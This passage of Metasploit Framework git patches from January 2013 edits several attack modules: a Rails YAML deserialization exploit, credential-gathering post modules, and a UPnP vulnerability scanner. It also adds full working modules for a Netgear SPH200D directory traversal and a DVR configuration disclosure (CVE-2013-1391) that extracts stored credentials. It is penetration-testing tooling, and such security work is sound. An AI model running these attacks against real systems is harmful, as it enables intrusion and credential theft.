'application/json', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end end end From dc199685556ea5066af47bc39ec46b9ecf1ec1be Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 22:21:03 -0600 Subject: [PATCH 054/129] Minor cleanups --- .../multi/http/rails_json_yaml_code_exec.rb | 30 ++++++++++--------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 1343d04a61..b1c25b2b3d 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -6,7 +6,6 @@ ## require 'msf/core' -require 'yaml' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking @@ -18,24 +17,27 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', 'Description' => %q{ - This module exploits a remote code execution vulnerability in the JSON request - processor of the Ruby on Rails application framework. This vulnerability allows - an attacker to instantiate a remote object, which in turn can be used to execute - any ruby code remotely in the context of the application. + This module exploits a remote code execution vulnerability in the + JSON request processor of the Ruby on Rails application framework. + This vulnerability allows an attacker to instantiate a remote object, + which in turn can be used to execute any ruby code remotely in the + context of the application. This vulnerability is very similar to + CVE-2013-0156 - This module has been tested on RoR 3.0.19 + This module has been tested successfully on RoR 3.0.9, 3.0.19, and + 2.3.15. - The technique used by this module requires the target to be running a fairly recent - version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be - exploitable using the init_with() method, but this has not been demonstrated. + The technique used by this module requires the target to be running a + fairly recent version of Ruby 1.9 (since 2011 or so). Applications + using Ruby 1.8 may still be exploitable using the init_with() method, + but this has not been demonstrated. }, 'Author' => [ - 'charliesome', # PoC - 'espes', # PoC and Metasploit module - 'lian', # Identified the RouteSet::NamedRouteCollection vector - 'hdm' # Module merge/conversion/payload work + 'jjarmoc', # Initial module based on cve-2013-0156, testing help + 'egypt', # Module + 'lian', # Identified the RouteSet::NamedRouteCollection vector ], 'License' => MSF_LICENSE, 'References' => @@ -106,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", + 'uri' => normalize_uri(target_uri.path), 'method' => datastore['HTTP_METHOD'], 'ctype' => 'application/json', 'headers' => { 'X-HTTP-Method-Override' => 'get' }, From 464d048eca30bfeff8af42d5bc20baeb0cbc4030 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 22:25:57 -0600 Subject: [PATCH 055/129] Remove debugging print --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index b1c25b2b3d..4f31cb38f5 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -103,7 +103,6 @@ class Metasploit3 < Msf::Exploit::Remote # Send the actual request # def exploit - p payload.encoded [2, 3].each do |ver| print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") From da5436e565363af9c6387bb159f6a994d20173b0 Mon Sep 17 00:00:00 2001 From: lmercer Date: Mon, 28 Jan 2013 23:29:50 -0500 Subject: [PATCH 056/129] Made changes as described in Redmine issue 7605 --- modules/post/windows/gather/cachedump.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/cachedump.rb b/modules/post/windows/gather/cachedump.rb index dddf43ab7e..a6299a173b 100644 --- a/modules/post/windows/gather/cachedump.rb +++ b/modules/post/windows/gather/cachedump.rb @@ -516,9 +516,6 @@ class Metasploit3 < Msf::Post end end - store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, - "mscache_credentials.txt", "MSCACHE Credentials") - print_status("John the Ripper format:") john.split("\n").each do |pass| @@ -527,8 +524,11 @@ class Metasploit3 < Msf::Post if( @vista == 1 ) print_status("Hash are in MSCACHE_VISTA format. (mscash2)") + store_loot("mscache2.creds", "text/csv", session, @credentials.to_csv, "mscache2_credentials.txt", "MSCACHE v2 Credentials") + else print_status("Hash are in MSCACHE format. (mscash)") + store_loot("mscache.creds", "text/csv", session, @credentials.to_csv, "mscache_credentials.txt", "MSCACHE v1 Credentials") end rescue ::Interrupt From 38785015e1386d90484f98265f8f95642ab0d9ce Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Mon, 28 Jan 2013 23:08:53 -0600 Subject: [PATCH 057/129] Missing period in description --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4f31cb38f5..efa29002c8 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote This vulnerability allows an attacker to instantiate a remote object, which in turn can be used to execute any ruby code remotely in the context of the application. This vulnerability is very similar to - CVE-2013-0156 + CVE-2013-0156. This module has been tested successfully on RoR 3.0.9, 3.0.19, and 2.3.15. From 358f7cc62f7efb46c9befc0fbf231fb7ab7c3906 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 29 Jan 2013 00:15:39 -0600 Subject: [PATCH 058/129] Adds CVE reporting to the UPnP scanner --- .../auxiliary/scanner/upnp/ssdp_msearch.rb | 50 ++++++++++++++++++- 1 file changed, 49 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index aeb199f733..23297bf0cd 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -60,9 +60,57 @@ class Metasploit3 < Msf::Auxiliary desc = bits.join(" | ") sinfo[:info] = desc - print_status("#{skey} SSDP #{desc}") + res[:vulns] = [] + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.0([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ProcessSSDPRequest() Out of Bounds Memory Access Denial of Service", + :refs => [ 'CVE-2013-0229' ] + } + end + + if res[:info][:server].to_s =~ /MiniUPnPd\/1\.[0-3]([\.\,\-\~\s]|$)/mi + res[:vulns] << { + :name => "MiniUPnPd ExecuteSoapAction memcpy() Remote Code Execution", + :refs => [ 'CVE-2013-0230' ], + :port => res[:info][:ssdp_port] || 80, + :proto => 'tcp' + } + end + + if res[:info][:server].to_s =~ /Intel SDK for UPnP devices.*|Portable SDK for UPnP devices(\/?\s*$|\/1\.([0-5]\..*|8\.0.*|(6\.[0-9]|6\.1[0-7])([\.\,\-\~\s]|$)))/mi + res[:vulns] << { + :name => "Portable SDK for UPnP Devices unique_service_name() Remote Code Execution", + :refs => [ 'CVE-2012-5958', 'CVE-2012-5959' ] + } + end + + if res[:vulns].length > 0 + vrefs = [] + res[:vulns].each do |v| + v[:refs].each do |r| + vrefs << r + end + end + + print_good("#{skey} SSDP #{desc} | vulns:#{res[:vulns].count} (#{vrefs.join(", ")})") + else + print_status("#{skey} SSDP #{desc}") + end + report_service( sinfo ) + res[:vulns].each do |v| + report_vuln( + :host => sinfo[:host], + :port => v[:port] || sinfo[:port], + :proto => v[:proto] || 'udp', + :name => v[:name], + :info => res[:info][:server], + :refs => v[:refs] + ) + end + if res[:info][:ssdp_host] report_service( :host => res[:info][:ssdp_host], From 25ae49154a067e1a457ef2210494a4385dcc9cc6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 29 Jan 2013 00:55:45 -0600 Subject: [PATCH 059/129] Added author, vprint dressing-up --- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index 23297bf0cd..e5111f3176 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'UPnP SSDP M-SEARCH Information Discovery', 'Description' => 'Discover information from UPnP-enabled systems', - 'Author' => 'todb', + 'Author' => [ 'todb', 'hdm'], # Original scanenr module and vuln info reporter, respectively 'License' => MSF_LICENSE ) @@ -26,6 +26,10 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def rport + datastore['RPORT'] + end + def setup super @msearch_probe = @@ -43,10 +47,13 @@ class Metasploit3 < Msf::Auxiliary end def scan_host(ip) + vprint_status "#{ip}:#{rport} - SSDP - sending M-SEARCH probe" scanner_send(@msearch_probe, ip, datastore['RPORT']) end def scanner_postscan(batch) + print_status "No SSDP endpoints found." if @results.empty? + @results.each_pair do |skey,res| sinfo = res[:service] next unless sinfo From f5eaa87c80a51cc43705e7fff37d273049e91c1a Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 29 Jan 2013 01:05:18 -0600 Subject: [PATCH 060/129] comment typo --- modules/auxiliary/scanner/upnp/ssdp_msearch.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb index e5111f3176..fba5a396e7 100644 --- a/modules/auxiliary/scanner/upnp/ssdp_msearch.rb +++ b/modules/auxiliary/scanner/upnp/ssdp_msearch.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary super( 'Name' => 'UPnP SSDP M-SEARCH Information Discovery', 'Description' => 'Discover information from UPnP-enabled systems', - 'Author' => [ 'todb', 'hdm'], # Original scanenr module and vuln info reporter, respectively + 'Author' => [ 'todb', 'hdm'], # Original scanner module and vuln info reporter, respectively 'License' => MSF_LICENSE ) From 929814dabf2997a322bb8f7c50c1c0b2f81765d1 Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 29 Jan 2013 11:04:20 -0600 Subject: [PATCH 061/129] Update modules/exploits/multi/http/rails_json_yaml_code_exec.rb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Removes unnecessary include.  Tested on 3.0.19 and 2.3.15. --- modules/exploits/multi/http/rails_json_yaml_code_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index efa29002c8..4066d047fe 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -10,7 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) From 55600ce2761a9dd0ccd852ea8feddc901bd46e3d Mon Sep 17 00:00:00 2001 From: Jeff Jarmoc Date: Tue, 29 Jan 2013 11:46:02 -0600 Subject: [PATCH 062/129] Update modules/exploits/multi/http/rails_xml_yaml_code_exec.rb MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Remove unecessary include.  Tested against rails 3.2.10. --- modules/exploits/multi/http/rails_xml_yaml_code_exec.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 0d02e885fd..8743f76106 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -10,7 +10,6 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP include Msf::Exploit::Remote::HttpClient def initialize(info = {}) From 77ea5a40f54137d6722b808b6f8b7f249160cd8f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 29 Jan 2013 14:19:42 -0600 Subject: [PATCH 063/129] Do report_auth_info --- modules/post/linux/gather/pptpd_chap_secrets.rb | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 1972b0cba8..267f95d19e 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -81,6 +81,15 @@ class Metasploit3 < Msf::Post secret = (found[2] || '').strip ip = (found[3] || '').strip + report_auth_info({ + :host => session.sock.peerhost, + :port => 1723, #PPTP port + :sname => 'pptp', + :user => client, + :pass => secret, + :active => true + }) + tbl << [client, server, secret, ip] end From aaf18f0257ba9b8988eb92c0c9624b442fb15c54 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 29 Jan 2013 14:22:19 -0600 Subject: [PATCH 064/129] EOL whitespace, yo. --- modules/exploits/windows/local/payload_inject.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 0e748cb607..ac2ef8c845 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Local pids = [] procs.each do |p| - found_pid = p['pid'] + found_pid = p['pid'] return true if found_pid == pid end @@ -173,4 +173,4 @@ class Metasploit3 < Msf::Exploit::Local end end -end \ No newline at end of file +end From ea5e993bf3f2e566429e124e34b55f190c71f804 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Tue, 29 Jan 2013 22:02:29 +0100 Subject: [PATCH 065/129] initial --- .../admin/http/netgear_sph200d_traversal.rb | 134 ++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/auxiliary/admin/http/netgear_sph200d_traversal.rb diff --git a/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb new file mode 100644 index 0000000000..dde5408996 --- /dev/null +++ b/modules/auxiliary/admin/http/netgear_sph200d_traversal.rb @@ -0,0 +1,134 @@ +## +# $Id: tomcat_utf8_traversal.rb 14975 2012-03-18 01:39:05Z rapid7 $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::WmapScanServer + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netgear SPH200D - Directory Traversal Vulnerability', + 'Version' => '$$', + 'Description' => %q{ + This module exploits a directory traversal vulnerablity which is present + in Netgear SPH200D Skype telephone + You may wish to change SENSITIVE_FILES (hosts sensitive files), RPORT depending + on your environment. + }, + 'References' => + [ + [ 'URL', 'http://support.netgear.com/product/SPH200D' ], + [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-002' ], + ], + 'Author' => [ 'm-1-k-3' ], + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(80), + OptPath.new('SENSITIVE_FILES', [ true, "File containing senstive files, one per line", + File.join(Msf::Config.install_root, "data", "wordlists", "sensitive_files.txt") ]), + OptString.new('USERNAME',[ true, 'User to login with', 'admin']), + OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + + ], self.class) + end + + def extract_words(wordfile) + return [] unless wordfile && File.readable?(wordfile) + begin + words = File.open(wordfile, "rb") do |f| + f.read + end + rescue + return [] + end + save_array = words.split(/\r?\n/) + return save_array + end + + def find_files(files,user,pass) + traversal = '/../..' + + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => traversal << files, + 'basic_auth' => "#{user}:#{pass}" + }) + if (res and res.code == 200) + print_status("Request may have succeeded on #{rhost}:#{rport}:file->#{files}! Response: \r\n") + print_status("#{res.body}") + elsif (res and res.code) + vprint_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport}:file->#{files}") + end + end + + def run_host(ip) + user = datastore['USERNAME'] + if datastore['PASSWORD'].nil? + pass = "" + else + pass = datastore['PASSWORD'] + end + + print_status("Trying to login with #{user} / #{pass}") + + begin + res = send_request_cgi({ + 'uri' => '/', + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) + + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{target_url} not responding") + end + + return :abort if (res.code == 404) + + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end + + rescue ::Rex::ConnectionError + vprint_error("Failed to connect to the web server") + return :abort + end + + begin + print_status("Attempting to connect to #{rhost}:#{rport}") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/', + 'basic_auth' => "#{user}:#{pass}" + }) + + if (res) + extract_words(datastore['SENSITIVE_FILES']).each do |files| + find_files(files,user,pass) unless files.empty? + end + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue ::Timeout::Error, ::Errno::EPIPE + end + end +end From 8a9dba2ffec1ad8de59f4fba3ad42c2e3d16cf17 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 29 Jan 2013 16:35:36 -0600 Subject: [PATCH 066/129] Updates host info --- modules/post/linux/gather/pptpd_chap_secrets.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 267f95d19e..97d7ce6adc 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Post ip = (found[3] || '').strip report_auth_info({ - :host => session.sock.peerhost, + :host => datastore['RHOST'], :port => 1723, #PPTP port :sname => 'pptp', :user => client, From b1f8b87f1495ecadd3737fbbe53d22e81e41c4d1 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 29 Jan 2013 17:02:43 -0600 Subject: [PATCH 067/129] Chmod -x the joomla modules. Also fix a title typo joomla_pages was incorrectly titled as "Joomla Version Scanner," which of course is actually joomla_version. --- modules/auxiliary/scanner/http/joomla_pages.rb | 2 +- modules/auxiliary/scanner/http/joomla_plugins.rb | 0 modules/auxiliary/scanner/http/joomla_version.rb | 0 3 files changed, 1 insertion(+), 1 deletion(-) mode change 100755 => 100644 modules/auxiliary/scanner/http/joomla_pages.rb mode change 100755 => 100644 modules/auxiliary/scanner/http/joomla_plugins.rb mode change 100755 => 100644 modules/auxiliary/scanner/http/joomla_version.rb diff --git a/modules/auxiliary/scanner/http/joomla_pages.rb b/modules/auxiliary/scanner/http/joomla_pages.rb old mode 100755 new mode 100644 index 77218063a5..78b45d33e9 --- a/modules/auxiliary/scanner/http/joomla_pages.rb +++ b/modules/auxiliary/scanner/http/joomla_pages.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary # Joomscan and various MSF modules for code examples. def initialize super( - 'Name' => 'Joomla Version Scanner', + 'Name' => 'Joomla Page Scanner', 'Description' => %q{ This module scans a Joomla install for common pages. }, diff --git a/modules/auxiliary/scanner/http/joomla_plugins.rb b/modules/auxiliary/scanner/http/joomla_plugins.rb old mode 100755 new mode 100644 diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb old mode 100755 new mode 100644 From c5ab059a1abf57a388edd6fa3103c6e2fc914b25 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 29 Jan 2013 18:24:11 -0600 Subject: [PATCH 068/129] Really fix the :host key --- modules/post/linux/gather/pptpd_chap_secrets.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index 97d7ce6adc..e360a816ba 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -82,11 +82,12 @@ class Metasploit3 < Msf::Post ip = (found[3] || '').strip report_auth_info({ - :host => datastore['RHOST'], + :host => session.session_host, :port => 1723, #PPTP port :sname => 'pptp', :user => client, :pass => secret, + :type => 'password', :active => true }) From 668520d8d9458d89e79b00963e88508ac800e7d1 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Jan 2013 17:22:03 +0100 Subject: [PATCH 069/129] added module for cve-2013-1391 --- .../scanner/misc/dvr_config_disclosure.rb | 208 ++++++++++++++++++ 1 file changed, 208 insertions(+) create mode 100644 modules/auxiliary/scanner/misc/dvr_config_disclosure.rb diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb new file mode 100644 index 0000000000..11d31c5c1d --- /dev/null +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -0,0 +1,208 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Multiple DVR Manufacturers Configuration Disclosure', + 'Description' => %q{ + This module takes advantage of an authentication bypass vulnerability at the + web interface of multiple manufacturers DVR systems, which allows to retrieve the + device configuration. + }, + 'Author' => + [ + 'Alejandro Ramos', # Vulnerability Discovery + 'juan vazquez' # Metasploit module + ], + 'References' => + [ + [ 'CVE', '2013-1391' ], + [ 'URL', 'http://www.securitybydefault.com/2013/01/12000-grabadores-de-video-expuestos-en.html' ] + ], + 'License' => MSF_LICENSE + ) + + end + + def get_ppooe_credentials(conf) + + user = "" + password = "" + + if conf =~ /PPPOE_USER=(.*)/ + user = $1 + end + + if conf =~ /PPPOE_PASSWORD=(.*)/ + password = $1 + end + + if user.empty? or password.empty? + return + end + + info = "PPPOE credentials for #{rhost}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.pppoe.conf", + :sname => 'pppoe', + :update => :unique_data + }) + + end + + + def get_ddns_credentials(conf) + hostname = "" + user = "" + password = "" + + if conf =~ /DDNS_HOSTNAME=(.*)/ + hostname = $1 + end + + if conf =~ /DDNS_USER=(.*)/ + user = $1 + end + + if conf =~ /DDNS_PASSWORD=(.*)/ + password = $1 + end + + if hostname.empty? + return + end + + info = "DDNS credentials for #{hostname}, user: #{user}, password: #{password}" + + report_note({ + :host => rhost, + :data => info, + :type => "dvr.ddns.conf", + :sname => 'ddns', + :update => :unique_data + }) + + end + + def get_ftp_credentials(conf) + server = "" + user = "" + password = "" + port = "" + + if conf =~ /FTP_SERVER=(.*)/ + server = $1 + end + + if conf =~ /FTP_USER=(.*)/ + user = $1 + end + + if conf =~ /FTP_PASSWORD=(.*)/ + password = $1 + end + + if conf =~ /FTP_PORT=(.*)/ + port = $1 + end + + if server.empty? + return + end + + report_auth_info({ + :host => server, + :port => port, + :sname => 'ftp', + :duplicate_ok => false, + :user => user, + :pass => password + }) + end + + def get_dvr_credentials(conf) + conf.scan(/USER(\d+)_USERNAME/).each { |match| + user = "" + password = "" + active = "" + + user_id = match[0] + + if conf =~ /USER#{user_id}_LOGIN=(.*)/ + active = $1 + end + + if conf =~ /USER#{user_id}_USERNAME=(.*)/ + user = $1 + end + + if conf =~ /USER#{user_id}_PASSWORD=(.*)/ + password = $1 + end + + if active == "0" + user_active = false + else + user_active = true + end + + report_auth_info({ + :host => rhost, + :port => rport, + :sname => 'dvr', + :duplicate_ok => false, + :user => user, + :pass => password, + :active => user_active + }) + } + end + + def run_host(ip) + + res = send_request_cgi({ + 'uri' => '/DVR.cfg', + 'method' => 'GET' + }) + + if not res or res.code != 200 or res.body.empty? or res.body !~ /CAMERA/ + vprint_error("#{rhost}:#{rport} - DVR configuration not found") + return + end + + p = store_loot("dvr.configuration", "text/plain", rhost, res.body, "DVR.cfg") + vprint_good("#{rhost}:#{rport} - DVR configuration stored in #{p}") + + conf = res.body + + get_ftp_credentials(conf) + get_dvr_credentials(conf) + get_ddns_credentials(conf) + get_ppooe_credentials(conf) + + dvr_name = "" + if res.body =~ /DVR_NAME=(.*)/ + dvr_name = $1 + end + + report_service(:host => rhost, :port => rport, :sname => 'dvr', :info => "DVR NAME: #{dvr_name}") + print_good("#{rhost}:#{rport} DVR #{dvr_name} found") + end + +end From cf6aae7bb7593898127236208b0d019ca53647f7 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 30 Jan 2013 17:37:41 +0100 Subject: [PATCH 070/129] add checks for enabled services --- .../scanner/misc/dvr_config_disclosure.rb | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb index 11d31c5c1d..b2e36eaefa 100644 --- a/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb +++ b/modules/auxiliary/scanner/misc/dvr_config_disclosure.rb @@ -41,6 +41,13 @@ class Metasploit3 < Msf::Auxiliary user = "" password = "" + enabled = "" + + if conf =~ /PPPOE_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" if conf =~ /PPPOE_USER=(.*)/ user = $1 @@ -71,6 +78,13 @@ class Metasploit3 < Msf::Auxiliary hostname = "" user = "" password = "" + enabled = "" + + if conf =~ /DDNS_EN=(\d)/ + enabled = $1 + end + + return if enabled == "0" if conf =~ /DDNS_HOSTNAME=(.*)/ hostname = $1 From de544dc3d477752c60bfab71847999b393c57e43 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 11:25:43 -0600 Subject: [PATCH 071/129] Handle multiple IPs --- modules/post/linux/gather/pptpd_chap_secrets.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb index e360a816ba..b351fbbb72 100644 --- a/modules/post/linux/gather/pptpd_chap_secrets.rb +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Post # If this line is commented out, ignore it next if l =~ /^[[:blank:]]*#/ - found = l.scan(/(.+)[[:blank:]]+(.+)[[:blank:]]+(.+)[[:blank:]]+(.+)$/).flatten + found = l.split # Nothing is found, skip! next if found.empty? @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post client = (found[0] || '').strip server = (found[1] || '').strip secret = (found[2] || '').strip - ip = (found[3] || '').strip + ip = (found[3,found.length] * ", " || '').strip report_auth_info({ :host => session.session_host, From 95cc84f5e860600fff524c1639561cb419dcbfa7 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 15:42:21 -0600 Subject: [PATCH 072/129] Updates normalize_uri() This function should not remove the trailing slash, because you may end up getting a different HTTP response. The new function also allows multiple URIs as argument, and will just merge & normalize them together. [SeeRM #7733] --- lib/msf/core/exploit/http/client.rb | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 4d4fd787a6..6d0bd9336b 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -539,23 +539,18 @@ module Exploit::Remote::HttpClient # Returns a modified version of the URI that: # 1. Always has a starting slash # 2. Removes all the double slashes - # 3. Removes the trailing slash # - def normalize_uri(str) + def normalize_uri(*strs) + new_str = strs * "/" + + new_str = new_str.gsub!("//", "/") while new_str.index("//") + # Makes sure there's a starting slash - unless str.to_s[0,1] == "/" - str = "/" + str.to_s + unless new_str[0,1] == '/' + new_str = '/' + new_str end - # Removes all double slashes - str = str.gsub!("//", "/") while str.index("//") - - # Makes sure there's no trailing slash - unless str.length == 1 - str = str.gsub(/\/+$/, '') - end - - str + new_str end # From d8b15daaf24060c34ca2d8a7973a8e7be35a59f4 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 30 Jan 2013 16:13:17 -0600 Subject: [PATCH 073/129] Correct rspect to the correct behavior --- spec/lib/msf/core/exploit/http/client_spec.rb | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 73298366d4..d32ce9e122 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -56,8 +56,8 @@ describe Msf::Exploit::Remote::HttpClient do unnormalized_uri[-1, 1].should == '/' end - it "should remove the trailing '/'" do - normalized_uri.should == expected_normalized_uri + it "should end with '/'" do + normalized_uri[-1, 1].should == '/' end context "with just '/'" do @@ -76,11 +76,11 @@ describe 